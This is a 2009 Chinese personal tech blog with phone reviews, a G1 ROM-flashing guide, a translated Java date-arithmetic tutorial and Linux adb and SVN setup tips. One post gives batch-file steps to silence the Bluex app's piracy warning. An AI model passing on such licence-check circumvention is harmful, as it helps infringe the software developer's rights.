Saturday, December 19, 2009

lenovo O1 开箱&初步测评


早上满心欢喜打开鸟SF的页面去详细查询单号,结果提示“因无法联系到收件人而推迟派送”我�……我压根没看到有未接电话啊……

好在当我午睡起来准备打电话催SF的时候,SF给我打过来了,说马上送到!(带电池的东西隔天就从广东送到北京,SF让我内牛满面啊!)

 

开箱开箱!!!

 IMG_0446

全新全包的正式版O1,当当当当!开箱!

 IMG_0447

下图,包装类似于iPod Touch啊……

IMG_0456

不过这个盒子倒是很有份量、很精致,而且颜色很好看。

IMG_0459 

MobileBroadbandG3的logo

 IMG_0461

据说MIRO是联想的手机品牌

IMG_0463

嗯,机器安静地躺在盒子里面

IMG_0466

没装电池,拿在手里比较轻,握持感比G1好。

IMG_0467

照相快捷键

IMG_0468

背面用的是防滑喷胶(类似G1后盖材质)

IMG_0469

500W像素的摄头+LED补光灯+喇叭口

IMG_0470

居然支持SRS音效……然后有8GB内部存储空间。

IMG_0471

配件全家福

还有个VIP卡,呵呵。看来联想这次认为O1是旗舰咯?

IMG_0472

大伙儿猜猜这个是什么?

IMG_0474

其实是充电插头……做得很精致啊。侧面还有指槽。

IMG_0475

看做工是否精细的又一个点:USB数据线的处理。联想这次虽然没有在数据线上面打logo,不过看数据线的处理还是不错的。借鉴了apple和htc的做法。

IMG_0478

电池,很宽很扁很平……正面有lenovo的logo。容量1500mAh。

IMG_0482 

IMG_0494

慷慨的赠送了SanDisk的8GB Class2的TF卡。

IMG_0487

电池盖上好像有字

IMG_0488 

�……怎么拆盖这种图示,就不能印在贴纸上,贴到电池盖外面么……

IMG_0490

啧啧,其实做工还是蛮精良的。电池盖扣合严密。

IMG_0493 

我已经受不了了,装电池装SIM,破处!

IMG_0495

嗯……为啥要把屏幕下面的四个触控按键改成两个?怕误触拨号键?

IMG_0496

呃,无视后面那本书……

前摄头&前摄头下面的两个东西。左边是光线传感器(G1残念……)右边是LED(好丑……)

IMG_0497

和G1对比一下啊……发现O1颜色好深啊……屏幕的确宽啊宽……(注意客串的我)

 IMG_0504

呃,注意左下角,各种指纹……看来真的得贴磨砂膜啊……

亮点是LED灯和状态栏上写的——中国移动3G和HSDPA标志……哥也有HSDPA!

特别鸣谢键盘泛油的破本本友情充当背景!

 IMG_0508

再来个oPhone标志性的锁屏界面(屏幕背景自动变换的……不错,原装android应该学学)

IMG_0510

====================神奇的分割线======================

图秀结束,开始测评。

对于androider和iPhoner是真正的0上手时间……

第一屏全都是移动定制程序&服务(可以参考那个贴纸上的图标)……以至于我习惯性去找Googlemaps和Gmail都没找到……

屏幕间切换速度爆快,即使开启3D也是一样快;和今年10月移动通信展上的O1完全不同的体验,那个旧版O1还是电阻屏而且爆卡无比。

选项&设定要比android更容易找。不过我很疑惑,就是TMD为什么还要加一个“校准屏幕”???

WLAN&WAPI全支持,支持Bluetooth和GPS。而且貌似有原生的凯立德(android上面用的就是出自于此)。

开机速度嗷嗷快(速度>>刷了Dwang的G1)。

3.5''屏幕的屏幕键盘就是给劲!更加肯定了我以后必须买3.5''的android的决心!

至于大家关心的网路问题,目前初步结果是这样的。我还没来得及测试TD-HSDPA的速度如何以及视频通话是否跟几个月以前我用国宝手机(PANDA TD988)时的糟糕体验一样,不过HSDPA信号的覆盖我很满意。满屋游荡甚至满楼游荡都依然是H信号。

灰信服务还没试,多数程序都还没试……

哦对,耳机插孔不是3.5mm,失望,不过自带耳机外表做工比较精致。大家曾经对中间那个竖条按键有期待,我开始也觉得会不会是个触控板……结果发现丫TMD是个HOME按键……屏幕下方两个触控按键,左边那个是MENU,右边是back……于是乎我就有疑问,工程模式如何进?

第三方软件方面,目前根据其他人的消息,aqq和root explorer都可以用。说明O1应该本来就是root过的。

更多后续评测我会陆续放上来……欢迎关注……

嗯,当然关注我twitter是最直接的:@ss1271

Thursday, October 29, 2009

鉴别htc G1/G2/G3翻新与错版&机器产地版本的方法


进入这个网站, http://service.htceurope.com/htcdistributor/Default.aspx 


输入你的手机序列号 (拨号时按  *#06# 可得)
然后输入序列号(条码下面那个S/N,不是上面的那个SN),点Query


我的信息:

SN :HT844KV0*****(*号为隐私屏蔽)
IMEI :358280010*******(*号为隐私屏蔽)
Part Number :99HE*****(*号为隐私屏蔽)

Part Description :SKU,TMEU,English-UK,GBR,QWERTY,G1,PureWhite,HSUPAenable,w/ SIM Lock,DREAM-O3

(英版,纯白,QWERTY)

Customer Name :T Mobile (UK) Ltd.
Customer Model :
HTC Model :DREAM-O3
Error Message :

于是得出结论,我的机器是翻新的。


各位用户可以鉴别一下自己的机器。





Wednesday, October 28, 2009

Android小白指南——如何刷Donut 1.6

既然想刷到Donut 1.6,那么各位的机器想必应该是已经Root过了的。至于还不知道啥是root的同学,请自行google 相关资料,本文不再赘述如何root和root的好处。

我有件事情要放到最开始说,那就是

  • 刷机有风险,请慎重,本文系本人操作步骤,已经证实完全可行,本人不对任何砖头机负责
  • 刷机请保证电力充足
  • 建议先通读本文确定自己的机器需要什么文件,先下载好,再开始

一、刷android recovery utility

建议刷这个版本的,虽然功能没有RA的恢复工具那么强大,但是非常简单易用。

下载地址:

http://n0rp.chemlab.org/android/cm-recovery-1.4.img
MD5Sum: f5135a878c705215f4012786e4261cfe (一定要校验文件的正确性)

下载完成后拷入SD卡根目录。

刷Recovery的方法如下:

  • 进入超级终端输入su(注意,超级终端的所有命令都区分大小写,注意命令的空格,不要写错或者丢空格,每行命令都需要回车,下面所有涉及终端的命令均不再提示大小写等问题),回车,会提示你是否赋予权限,选择总是允许。
  • 输入:flash_image recovery /sdcard/cm-recovery-1.4.img
  • 正常情况下,应该什么都不会提示,如果你遇到“no space on device ”的错误,请输入下面的命令
  • fastboot erase recovery
    fastboot flash recovery cm-recovery-1.4.img

二、首先检查Baseband版本是否为2.22.19.26I:

Menu->Settings->About

 2

如果BaseBand版本里面后面的数字不是2.22.19.26I,那么需要刷新Radio;

步骤如下:
RADIO的刷新方法很简单,你得到的是一个压缩包,刷新方法和G1的刷机方法一样,

zip包不要解压,直接放进SD卡根目录,

HOME+POWER开机(如果已经是开机状态,那么可以挂机+接听+Menu重启,然后立刻按住房子),

选择菜单中的apply any zip,选择你下载的那个radio的zip文件

开始升级,记得一定要刷新最新版本的RADIO文件,这与后边会提到的刷新SPL文件有关。

2.22.19.26I 的Radio文件点此下载

三、检查SPL是否已经刷过

进入超级终端(Terminal),输入df

会出现如下的画面:

3

注意看/data 一行,如果是/data后面的数字是91904K total的话,那么说明你不用刷新SPL;

如果是和我的图中一样,是76544K total的话,需要刷新SPL。

需要确认如下事项:

  • 进bootloader(三色屏)模式:【相机+电源键】。看到的DREA100 后面的字符是PVT。
  • 刷新SPL之前要确定你的RADIO是最新的,刚才已经在有关RADIO的部分说过这个问题了。
  • 注意!如果刷机前是Radio 为RC33或者刷了SPL后刷再Radio RC33,机子必砖掉
           

刷机方法和G1刷机没有区别。

  • 复制文件到你的SD根目录。
  • 先关机,然后长按 Home(小房子)+ 关机键,当看见三角形的警告且屏幕不再刷新时,同时按下 ALT + W 组合键清空内存如果已经是开机状态,那么可以挂机+接听+Menu重启,然后立刻按住房子,这样不用关机
  • 当进度条走完后选择Recovery菜单的apply any zip 项目,选择该zip包,开始升级。
  • 当进度条走完后——按下 Home+Back键 重新启动你的 G1 手机
  • 机器振动的刹那迅速按住房子键,准备刷新的ROM,如果不这么做,十有八九会卡在开机第一屏不动。

三、开始刷Donut 1.6

首先去下面的网址下载(恕我不能直接贴出链接,因为他是要弹窗接受协议的)

下载页面:http://developer.htc.com/adp.html#s3

下载这个文件:signed-dream_devphone_userdebug-ota-14721.zip

MD5校验码为:b3e12b004c155761a10b1a848288e0c3

注意一定不能下错。

==

然后下载CM系列的1.6ROM,目前最新版是4.2.2 stable:

(v4.2.2 - stable version, updated 10/27):
Download: http://n0rp.chemlab.org/android/upda...2.2-signed.zip
Mirror1: http://android.phaseburn.net/mirrors...2.2-signed.zip
MD5Sum: 6147a3515758b6d3066526804aa10c42 (一定要校验文件!)

===

刷ROM步骤如下:

  • 把下好的signed-dream_devphone_userdebug-ota-14721.zip或者HTC_ADP_1.6_DRC83_rooted_base.zip文件拷入SD卡,拨号+挂机+Menu重启,然后在开机画面出来前迅速按住房子键,进入Recovery,选择apply any zip,然后选择你放到sd卡的zip包(signed-dream_devphone_userdebug-ota-14721.zip或者HTC_ADP_1.6_DRC83_rooted_base.zip)进行升级;
  • 完成后,重启,迅速按房子,再次进入Recovery,此时apply any zip,选择4.2.2的那个ROM进行刷新。此步骤完成后,刷机即完成。

 

 

本文部分需要下载的文件已放入SkyDrive:

http://cid-35763718f6bc39a5.skydrive.live.com/browse.aspx/Android

 

 

 

Technorati 标签: ,,,,,,,,

Thursday, October 22, 2009

回归BlackBerry

回归BlackBerry的原因并不是G1不好用,而是我打算出掉G1等Moto的Sholes。奈何G1仍然是我最爱……可惜现在不出G1,日后价格方面就不好办了。

别的不说,前天去ZGC,入了9500。当天晚上就习惯了无数BBer不习惯的SurePress屏幕,说明我的适应能力还是很强的(当初光速习惯Android……),开始用9500,唯一不爽的就是没有wifi……其他倒还好。Yatca也能用,就是每次看到BB闪灯总会习惯性的往下去拽那个不存在的notification bar。

另:BB的LED灯居然不能根据不同的notifications而变色……太残了……LED灯只有在没电的时候才会变么……不爽。RIM要改进了啊,区区LED灯而已,可以明显减少用户点亮屏幕的次数。

Wednesday, October 14, 2009

Java上的时间计算

学习在java中计算基本的时间段
概述
如果你知道怎样在java中使用日期,那么使用时间和它才不多一样简单。这篇文章告诉你怎样把他们的差别联系起来。Robert Nielsen还告诉你怎样使用java来计算抵达航班和制造过程的时间。
作者:Robert Nielsen
翻译:Cocia Lin



这篇文章是在我发表过的<计算Java时间>(译者:已经翻译完成)的基础上的。在这里,我列出那篇文章几个你应该熟悉得关键点。如果这几点你不太清楚,我建议你读一下<计算Java时间>,了解一下。
1. Java计算时间依靠1970年1月1日开始的毫秒数.
2. Date类的构造函数Date()返回代表当前创建的时刻的对象。Date的方法getTime()返回一个long值在数值上等于1970年1月1日之前或之后的时刻。
3. DateFormat类用来转换Date到String,反之亦然。静态方法getDateInstance()返回DateFormat的缺省格式;getDateInstance(DateFormat.FIELD)返回指定的DateFormat对象格式。Format(Date d)方法返回String表示日期,例如"January 1,2002."反过来,parse(String s)方法返回以参数字符串表示的Date对象。
4. format()方法返回的字符串格式根据不同地区的时间设置而有所不同。
5. GregorianCalendear类有两个重要的构造函数:GregorianCalerdar(),返回代表当前创建时间的对象;GregorianCalendar(int year,int month,int date)返回代表任意日期的对象。GregorianCalendar类的getTime()方法返回日期对象。Add(int field,int amount)方法通过加或减时间单位,象天数,月数或年数来计算日期。
GregorianCalendar和 时间
两个GregorianCalendar的构造函数可以用来处理时间。前者创建一个表示日期,小时和分钟的对象:

GregorianCalendar(int year, int month, int date, int hour, int minute)

第二个创建一个表示一个日期,小时,分钟和秒:

GregorianCalendar(int year, int month, int date, int hour, int minute, int second)

首先,我应该提醒一下,每一个构造函数需要时间信息中的日期信息(年,月,日)。如果你想说2:30 p.m.,你必须指出日期。
同样,每一个GregorianCalendar构造函数创建一个在时间上使用毫秒计算的对象。所以,如果你的构造函数只提供年,月,日参数,那小时,分钟,秒和毫秒的值将被置0.
DateFormat和时间
你可以使用静态方法getDateTimeInstance(int dateStyle,int timeStyle)来建立DateFormat对象来显示时间和日期。这个方法表明你想要的日期和时间格式。如果你喜欢使用缺省格式,可以使用getDateTimeInstance()来代替它。
你可以使用静态方法getTimeInstance(int timeStyle)创建DateFormat对象来显示正确的时间。
下面的程序示范了getDateTimeInstance()和getTimeInstance()怎样工作:

import java.util.*;
import java.text.*;

public class Apollo {
public static void main(String[] args) {
GregorianCalendar liftOffApollo11 = new GregorianCalendar(1969, Calendar.JULY, 16, 9, 32);
Date d = liftOffApollo11.getTime();
DateFormat df1 = DateFormat.getDateTimeInstance(DateFormat.MEDIUM, DateFormat.MEDIUM);
DateFormat df2 = DateFormat.getTimeInstance(DateFormat.SHORT);
String s1 = df1.format(d);
String s2 = df2.format(d);
System.out.println(s1);
System.out.println(s2);
}
}

在我的电脑上,上面的程序显示如下:

Jul 16, 1969 9:32:00 AM
9:32 AM
(输出根据你所在得地区有所不同)

计算时间间隔
你可能有时需要计算过去的时间;例如,给你开始和结束时间,你想知道制造流程的持续时间。一个出租公司按小时或天数出租东西,计算时间对他们也很有用。同样的,在金融界,经常需要计算重要的支付时间。
将问题复杂化,人类至少是用两种方法计算时间。你可以说一天已经结束当24小时过去了,或者日历从今天翻到明天。我们将讨论我们想到的这两种情况。
时间段,情况 1:严格时间单位
在这种情况中,只有24小时过去,这天才过去,60分钟过去,这个小时才过去,60秒过去,这个分钟才过去,以此类推。在这个方法中,23小时的时间将被认为是0天。
使用这种方法计算时间段,你从计算过去的毫秒开始。为了做到这一点,首先转换每个日期为从1970年1月1日起得毫秒数。你可以从第二个毫秒值中减去第一个毫秒值。这里有一个简单的计算:

import java.util.*;

public class ElapsedMillis {
public static void main(String[] args) {
GregorianCalendar gc1 = new GregorianCalendar(1995, 11, 1, 3, 2, 1);
GregorianCalendar gc2 = new GregorianCalendar(1995, 11, 1, 3, 2, 2);
// the above two dates are one second apart
Date d1 = gc1.getTime();
Date d2 = gc2.getTime();
long l1 = d1.getTime();
long l2 = d2.getTime();
long difference = l2 - l1;
System.out.println("Elapsed milliseconds: " + difference);
}
}

上面的程序打印如下:

Elapsed milliseconds: 1000

这个程序也带来一点混淆。GregorianCalendar类的getTime()返回一个Date对象,Date类的getTime()方法返回从1970年1月1日到这个时间的long类型的毫秒数值。虽然他们的方法名字相同,返回值却不一样!
下面的程序片断用简单的整数除法转换毫秒到秒:

long milliseconds = 1999;
long seconds = 1999 / 1000;

这种方法舍去小数部分转换毫秒到秒,所以1,999毫秒等于1秒,2,000毫秒等于2秒。
计算更大的单位-例如天数,小时和分钟-给定一个时间数值,可以使用下面的过程:
1. 计算最大的单位,减去这个数值的秒数
2. 计算第二大单位,减去这个数值的秒数
3. 重复操作直到只剩下秒
例如,如果你的时间的10,000秒,你想知道这个数值相应的是多少小时,多少分钟,多少秒,你从最大的单位开始:小时。10,000除以3600(一个小时的秒数)得到小时数。使用整数除法,答案是2小时(整数除法中小数舍去)计算剩下的秒数,10,000-(3,600 x 2) = 2,800秒。所以你有2小时和2,800秒。
将2,800秒转换成分钟,2,800除以60。使用整数除法,答案是46。2,800 - (60 x 46) = 40秒。最后答案是2小时,46分,40秒。
下面的Java程序使用上面的计算方法:

import java.util.*;

public class Elapsed1 {
public void calcHMS(int timeInSeconds) {
int hours, minutes, seconds;
hours = timeInSeconds / 3600;
timeInSeconds = timeInSeconds - (hours * 3600);
minutes = timeInSeconds / 60;
timeInSeconds = timeInSeconds - (minutes * 60);
seconds = timeInSeconds;
System.out.println(hours + " hour(s) " + minutes + " minute(s) " + seconds + " second(s)");
}

public static void main(String[] args) {
Elapsed1 elap = new Elapsed1();
elap.calcHMS(10000);
}
}

输出结果如下:

2 hour(s) 46 minute(s) 40 second(s)

上面的程序甚至在时间少于一个小时也可以正确的计算小时数。例如,你用上面的程序计算1,000秒,输出入下:
0 hour(s) 16 minute(s) 40 second(s)
举一个现实世界的例子,下面的程序计算阿波罗11飞到月球使用得时间:

import java.util.*;

public class LunarLanding {

public long getElapsedSeconds(GregorianCalendar gc1, GregorianCalendar gc2) {
Date d1 = gc1.getTime();
Date d2 = gc2.getTime();
long l1 = d1.getTime();
long l2 = d2.getTime();
long difference = Math.abs(l2 - l1);
return difference / 1000;
}

public void calcHM(long timeInSeconds) {
long hours, minutes, seconds;
hours = timeInSeconds / 3600;
timeInSeconds = timeInSeconds - (hours * 3600);
minutes = timeInSeconds / 60;
System.out.println(hours + " hour(s) " + minutes + " minute(s)" );
}

public static void main(String[] args) {
GregorianCalendar lunarLanding = new GregorianCalendar(1969, Calendar.JULY, 20, 16, 17);
GregorianCalendar lunarDeparture = new GregorianCalendar(1969, Calendar.JULY, 21, 13, 54);
GregorianCalendar startEVA = new GregorianCalendar(1969, Calendar.JULY, 20, 22, 56);
GregorianCalendar endEVA = new GregorianCalendar(1969, Calendar.JULY, 21, 1, 9);

LunarLanding apollo = new LunarLanding();

long eva = apollo.getElapsedSeconds(startEVA, endEVA);
System.out.print("EVA duration = ");
apollo.calcHM(eva);

long lunarStay = apollo.getElapsedSeconds(lunarLanding, lunarDeparture);
System.out.print("Lunar stay = ");
apollo.calcHM(lunarStay);
}
}

上面程序输出如下:

EVA duration = 2 hour(s) 13 minute(s)
Lunar stay = 21 hour(s) 37 minute(s)

目前为止,我们计算的基础公式是这样的:1分钟=60秒,1小时=60分,1天=24小时。
"1个月=?天,1年=?天"怎么办?
月份的天数有28,29,30,31;一年可以是365或366天。因此,当你试图计算严格单位的月份和年时,问题就产生了。例如,如果你使用月份的平均天数(近似30.4375),并且计算下面的时间间隔:

* July 1, 2:00 a.m. to July 31, 10:00 p.m.
* February 1, 2:00 a.m. to February 29, 10:00 p.m.

第一个计算结果是1个月;第二个结果是0个月!
所以,在计算严格单位时间的月份和年份是要想好。
时间段,情况 2:时间单位变化
时间单位的变化相当的简单:如果你要统计天数,你可以简单的统计日期变化次数。例如,如果某事15日开始,17日结束,经过2天。(日期先是便到16,再到17)同样的,一个步骤下午3:25开始,4:10 p.m结束,历时1个小时,因为小时数值变了一次(从3到4)。
图书馆经常使用这种习惯计算时间。例如,如果你从图书馆接一本书,我不能占有这本书最少24小时,会认为图书馆这样才给你算一天。而是,我的账号上记录我借书的日期。日期以变成下一天,我就已经结这本书一天了,即使总计不足24小时。
当使用单位的变化来计算时间段,通常感觉计算的时间没有多于一个时间单位。例如,如果9:00 p.m.我借了一本图书馆的书,第二天中午还回去,我能算出我借了这本书一天了。可是,有一种感觉在问:"1天和几个小时呢?"这本说总计借出15个小时,答案是一天还差9个小时呢?因此,这篇文章里,我将以一个时间单位变化计算时间。
单位变化的时间算法
这是你怎样计算两个日期的时间变化:
1. 制作两个日期的拷贝。Close()方法能制作拷贝。
2. 使用日期拷贝,将所有的小于时间单位变化的部分设置成它的最小单位。例如,如果计算天数,那么将小时,分钟,秒和毫秒设置成0。这种情况中,使用clear()方法将时间值设置称他们各自的最小值。
3. 取出较早的日期,将你要计算的单位加1,重复直到两个日期相等。你加1的次数就是答案。可以使用before()和after()方法,他们返回boolean值,来判断是否一个日期在另一个日期之前或之后。
下面的类的方法用来计算天数和月数。

import java.util.*;

public class ElapsedTime {

public int getDays(GregorianCalendar g1, GregorianCalendar g2) {
int elapsed = 0;
GregorianCalendar gc1, gc2;

if (g2.after(g1)) {
gc2 = (GregorianCalendar) g2.clone();
gc1 = (GregorianCalendar) g1.clone();
}
else {
gc2 = (GregorianCalendar) g1.clone();
gc1 = (GregorianCalendar) g2.clone();
}

gc1.clear(Calendar.MILLISECOND);
gc1.clear(Calendar.SECOND);
gc1.clear(Calendar.MINUTE);
gc1.clear(Calendar.HOUR_OF_DAY);

gc2.clear(Calendar.MILLISECOND);
gc2.clear(Calendar.SECOND);
gc2.clear(Calendar.MINUTE);
gc2.clear(Calendar.HOUR_OF_DAY);

while ( gc1.before(gc2) ) {
gc1.add(Calendar.DATE, 1);
elapsed++;
}
return elapsed;
}

public int getMonths(GregorianCalendar g1, GregorianCalendar g2) {
int elapsed = 0;
GregorianCalendar gc1, gc2;

if (g2.after(g1)) {
gc2 = (GregorianCalendar) g2.clone();
gc1 = (GregorianCalendar) g1.clone();
}
else {
gc2 = (GregorianCalendar) g1.clone();
gc1 = (GregorianCalendar) g2.clone();
}

gc1.clear(Calendar.MILLISECOND);
gc1.clear(Calendar.SECOND);
gc1.clear(Calendar.MINUTE);
gc1.clear(Calendar.HOUR_OF_DAY);
gc1.clear(Calendar.DATE);

gc2.clear(Calendar.MILLISECOND);
gc2.clear(Calendar.SECOND);
gc2.clear(Calendar.MINUTE);
gc2.clear(Calendar.HOUR_OF_DAY);
gc2.clear(Calendar.DATE);

while ( gc1.before(gc2) ) {
gc1.add(Calendar.MONTH, 1);
elapsed++;
}
return elapsed;
}
}

你可以在上面的类中补充另外的方法来处理小时和分钟。同样,计算时间段的算法能更高效一些,尤其是时间相隔很长。可是,作为介绍目的,这个算法有短小和简单的优势。
下面的例子使用ElapsedTime类来计算两个日期之间的天使,而后是月数:

import java.util.*;

public class Example {
public static void main(String[] args) {
GregorianCalendar gc1 = new GregorianCalendar(2001, Calendar.DECEMBER, 30);
GregorianCalendar gc2 = new GregorianCalendar(2002, Calendar.FEBRUARY, 1);

ElapsedTime et = new ElapsedTime();
int days = et.getDays(gc1, gc2);
int months = et.getMonths(gc1, gc2);

System.out.println("Days = " + days);
System.out.println("Months = " + months);
}
}

当计算时,上面的程序可能有用,例如,最近的航班。它显示下面的输出:

Days = 33
Months = 2

(OK,关于航班的计算有些夸张;这个天数算法很适合像图书馆借书这样的应用,你看到了她怎样工作)
告诫
在进行时间工作时要谨慎:你看到的时间段的例子,你精确仔细的考虑非常重要。本文介绍了两种通常计算时间段的想法,但是人们能想到的时间段的计算方法仅仅受到人类想象力的限制。
所以,当写一个Java程序的时候,确信你的精确度能让使用和以来这些程序的人满意。同样,彻底的测试程序对处理时间的程序非重重要。
总结
本文是在我的前一篇文章 Java时间计算介绍怎样使用GregorianCalendar 和 DateFormat类处理时间问题的基础上的。你已经看到了两种方法来思考时间段问题和两种相应的途径使用Java来处理时间问题。这里提供的信息,很基础,提供给你一个在Java中处理时间问题的有力工具。

关于作者
Robert Nielsen是SCJP。他拥有硕士学位,专攻计算机教育,并且在计算机领域执教多年。他也在各样的杂志上发表过很多计算机相关的文章。
关于译者
Cocia Lin(cocia@163.com)是程序员。它拥有学士学位,现在专攻Java相关技术,刚刚开始在计算机领域折腾。





Thursday, September 24, 2009

Linux(Ubuntu)下配置SVN的HTTP代理

编辑 ~/.subversion/servers

找到如下几行,去掉注释,编辑相关内容(包括端口、代理地址、代理认证信息等)

[global]
# http-proxy-exceptions = *.exception.com
http-proxy-host = 172.16.204.50
http-proxy-port = 8080
# http-compression = no 有的需要将压缩屏蔽

ubuntu下adb调试android找不到设备的解决方法

最近需要测试几个android上的程序,虽然模拟器也能跑,但是总归没有在手头真机上跑的痛快。
Win下很小白很简单,但是最近CERNET抽风,我没法在win下check out代码,故而转战ubuntu。不过遇到了点小麻烦,就是我没法让adb识别出我已经连接到了真机。。。

首先确认,我已经在G1的settings-applications-development-debug mode里面打勾。而且手机也有提示connected,但是adb死活不认。

最后找到了引用的这篇文章(http://blog.7pas.com/node/ubuntu-android-usb-adb-driver-udev/)的解决方法,一次成形。

以下为引用全文


SDK 上关于如何在 Ubuntu上安装 adb驱动的说明并不详细,经过搜索找到了确实的解决方法,首先按照 SDK 上的说明建立 udev 的 rules 文件,然后:



在 ubuntu 9.04 下通过usb连接 Android设备,使用 adb 时,会返回无法找到设备,解决办法如下:



1) 在终端运行 lsusb

会发现结果有会有如下类似记录:

Bus 001 Device 008: ID 0bb4:0c02 High Tech Computer Corp. 


这时键入



sudo vim /etc/udev/rules.d/50-android.rules


在打开的文件中增加以下文本:



SUBSYSTEM=="usb", SYSFS{"High Tech Computer Corp."}=="0bb4", MODE="0666"


2) 运行以下命令:



sudo chmod a+rx /etc/udev/rules.d/50-android.rules
sudo /etc/init.d/udev restart


3) 在 android sdk 的 tools 目录下运行 (这一步很重要,必须要sudo,否则没效果)


sudo ./adb kill-server
sudo ./adb devices


然后,就可以直接用 adb 来进行操作了。


需要提示的一点,是作者说

在打开的文件中增加以下文本:



SUBSYSTEM=="usb", SYSFS{"High Tech Computer Corp."}=="0bb4", MODE="0666"



其实不必非得写High Tech Computer Corp.因为现在做andorid设备的不止high tech computer corp(htc)一家了。
因此,把High Tech Computer Corp.改成idVendor更为合适


Tuesday, August 25, 2009

iPhone 3GS初体验

俺得说的说的

上午看着Boss粗暴扯开封条,然后捞出3GS,自己手头却忙着和Coder解释这个项目一堆事情如何做……

然后Boss拽了一堆人开会去鸟,然后我就拍了这几张。

白色的3GS,俯视不咋好看,因为会有一圈白边(不是指那个屏幕周围的钢圈)。

屏幕确实要比3G耐油,但是没有达到那么理想的程度,所以还得贴磨砂膜(当然公司用机最后肯定会粗暴处理不会贴膜的)

外观除了屏幕用了阻油技术外,没啥改变。

开机,系统为3.0.1,偶们所有的电脑的XCode均不支持,导致此机器暂时没法用来写程序……(Port口的第一下可是偶捅的哦~)

没觉得快……

兴致盎然地用了相机,发现也就那个多点对焦有点意思,但是放到320w px的摄头上也看不出来有多大改善,可能这种改善只有一路用过来的水果同学才能体会得到吧。

以上。

IMG_9515

以公司iMac脏兮兮的键盘做背景……

IMG_9518

试试多点对焦

IMG_9520 

试试电罗盘

IMG_9521

 

IMG_9522

Monday, August 24, 2009

今天在26路公交上拾到NOKIA 5800XM一部……

[这件事结果非常不错,我当天中午就把这部手机顺利地归还给他的主人了~]

 

 

IMAG0082 IMAG0083

 

嗯……主人是个MM,然后有兄弟就怪罪我为何不要她电话……俺很囧……

 

这样吧……如果那个MM有幸能够看到我这篇Spaces,那么我厚着脸皮烦请您留个联系方式给我吧……………………

Wednesday, August 12, 2009

关于Bluex提示”You have pirated our software”的解决方案

最初先把手机连上电脑 保证电脑和手机是连接状态(即手机出现USB连接的那个图标)
1。下载blue.rar (安装了APP TO SD的下bule1.rar  没有安装过APP TO SD的下载Blue2.rar)
2。解压
3。运行blue1.bat (安装blueX v1.1.1)  手机会重启一次
4。运行blue2.bat (升级blueX v1.1.2)  手机会重启一次
5。完毕
这样的话就不会提示盗版和需要权限之类的
----此教程转自www.gphone-cn.com 的xintrc

Thursday, July 02, 2009

分享:G1彩信发送接收成功

今日中午睡觉闲来无事自己瞎捣鼓,彩信收发成功了。(看来Google没有撒谎,果然实现了2009Q1的升级中提供针对切换APN的补丁)

以下操作均在Cupcake (Firmware V1.5)下完成。

主要的步骤是设定接入点。

删除全部接入点,新建

cmnet

参数为(没有提到的项目均留空)

APN:cmnet

MCC:460

MNC:00

APN Type: default

------------------------------------

cmwap(用于接发彩信)

APN:cmwap

MMSC:http://mmsc.monternet.com

MMS Proxy:010.000.000.172

MMS Port:80

MCC:460

MNC:00

APN Type:mms

 

本人G1为Firmware 1.5, Cyan1.5r2的ROM,已经取得Root权限

Monday, June 29, 2009

G1浏览器崩溃了……又救活了

今天发现用Backup for Root Users恢复设定的时候居然把我很喜欢的hTC Camera程序覆盖了……遂不爽,遂重新刷。

刷完后又去XDA找了Hero的主题。用了几个小时相安无事。发现Twitter上的一个链接,点击,结果调出浏览器无限提示下面的信息,重启无济于事……心想坏了,估计又得刷机……

application_browser_error.jpg

上图为弹出的错误提示,这是从网上找的图(我拍照技术没这么渣)……实际情况就是这样。

 

解决方案也很简单

Menu-Settings-Application-Browser,然后Clear Data

然后再开……然后我的Browser就恢复了……

Sunday, June 28, 2009

用Chrome"代替"Twitter客户端

首先请打开Chrome

将此链接拖到书签栏

然后在Chrome中打开twitter.com,登录。即可看到改变。

 

当然,这个脚本会把twitter.com中的各种reply自动归档,变成气泡型(类似iPhone短信),支持自动刷新(貌似1分钟一次?),不过可能即时效率比不了Twhirl……

Friday, June 19, 2009

如何才能让Chrome和google Bookmark同步呢?

方法很简单

把下面这段当作网址,添加到Chrome的书签内,然后放到快速标签栏上即可

javascript:(function(){var a=window,b=document,c=encodeURIComponent,d=a.open("http://www.google.com/bookmarks/mark?op=edit&output=popup&bkmk="+c(b.location)+"&title="+c(b.title),"bkmk_popup","left="+((a.screenX||a.screenLeft)+10)+",top="+((a.screenY||a.screenTop)+10)+",height=420px,width=550px,resizable=1,alwaysRaised=1");a.setTimeout(function(){d.focus()},300)})();

 

效果如图:

image

 

以后想添加书签,就和Firefox上的Google Toolbar一样,在该页面下,直接点击“添加到Google Bookmark”,就会弹出一个小窗口,写好该写的书签项目,然后添加书签完成后,窗口自动关闭哦。

Thursday, June 18, 2009

The Ultimate Phone for me----T-Mobile G1上手评测

我叛变了,或者说叛逃了。原本我是blackberry阵营的忠实打手和传教士,但是现在时代变了…

原因很简单,我加入了google android阵营。

前日在众多莓园兄弟的支持(其实是让我当小白鼠对吧)下我毅然用手里的崭新8900换了一台依然很新的g1。交易的结果就是我手里多了¥400大米。

废话少说,进入正题。我记得我以前发过一次g1的初体验,那时还在用8820,当时感觉是g1键盘会很不好用,因为当时试用了一下,觉得g1键盘设计很精妙,但是可能为了节约空间导致其键程不足输入感不好。

一、初印象:外壳和质感

但是刚刚拿到手之后我还是觉得g1的手感很不错,这里指的是外壳的质感。我买的美版黑色,磨砂外壳握持感很赞当然不得不说的就是如果不幸挑到了美版咖啡色。。。那么推开键盘后蓝色键盘灯和白色键盘交相辉映会让你很囧的。

其实外壳的质感是要比照片更好的。这点只有真机试用方可知道。

个人觉得外壳比较失败的一点就是背面的喇叭孔。。。怎么看怎么山寨。。。实在不知道htc这个被山寨了很多遍的原创手机厂怎么想起来用的这么个设计。。。

轨迹球毫无疑问的nb和轻盈,没有bb那么大的阻力而且感觉大小适中,应该和8900差不多大。正面版上的挂机、接听、返回和主页键反馈清晰干脆。听筒旁边有消息指示led灯,n种颜色的那种。

屏幕在本机上正合适的大小,分辨率不低,电容多点触摸屏。无边框屏幕设计,利于触摸。

二、屏幕与屏幕键盘

很多兄弟(多数是没有过wm/ppc经历的)可能会奇怪g1的模式。比如:频繁的刷机,没有桌面程序支持下便可独立完成很多功能,其实htc style的很多东西都是这样。包括g1也有ppc上有的“三色屏“也有各种开机组合键(照相+电源键)进入工程模式(就是三色屏),甚至包括“卡刷“和spl都是和ppc极为相似的玩意。扯到这里,我要说的就是屏幕键盘实际上是g1混合了新核心rom后制作出来的第三方rom,有人担心不稳定,真是很多余,android本身比wm稳定,自制rom也非常赞,而且又能开启更多更好的功能,何乐而不刷?

